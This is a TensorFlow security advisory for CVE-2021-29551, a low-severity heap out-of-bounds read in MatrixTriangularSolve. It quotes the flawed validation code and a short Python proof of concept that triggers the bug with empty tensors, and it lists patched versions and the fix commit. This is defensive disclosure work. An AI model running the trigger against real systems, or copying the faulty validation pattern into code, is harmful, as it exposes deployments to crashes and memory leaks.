OOB read in `MatrixTriangularSolve`

Low **mihaimaruseac** published **GHSA-vqw6-72r7-fgw7** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of `MatrixTriangularSolve` fails to terminate kernel execution if one validation condition fails:

```
void ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0,
                          const Tensor& in1) override {
  OP_REQUIRES(
      ctx, in0.dims() >= 2,
      errors::InvalidArgument("In[0] ndims must be >= 2: ", in0.dims()));

  OP_REQUIRES(
      ctx, in1.dims() >= 2,
      errors::InvalidArgument("In[0] ndims must be >= 2: ", in1.dims()));
}

void Compute(OpKernelContext* ctx) override {
  const Tensor& in0 = ctx->input(0);
  const Tensor& in1 = ctx->input(1);

  ValidateInputTensors(ctx, in0, in1);

  MatMulBCast bcast(in0.shape().dim_sizes(), in1.shape().dim_sizes());
  ...
}
```

Since `OP_REQUIRES` only sets `ctx->status()` to a non-OK value and calls `return`, this allows malicious attackers to trigger an out of bounds read:

```
import tensorflow as tf
import numpy as np

matrix_array = np.array([])
matrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(1,0)),dtype=tf.float32)
rhs_array = np.array([])
rhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(0,1)),dtype=tf.float32)

tf.raw_ops.MatrixTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor,lower=False,adjoint=False)
```

As the two input tensors are empty, the `OP_REQUIRES` in `ValidateInputTensors` should fire and interrupt execution. However, given the implementation of `OP_REQUIRES`, after the `in0.dims() >= 2` fails, execution moves to the initialization of the `bcast` object. This initialization is done with invalid data and results in heap OOB read.

Patches

We have patched the issue in GitHub commit 480641e3599775a8895254ffbc0fc45621334f68.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29551

Weaknesses

No CWEs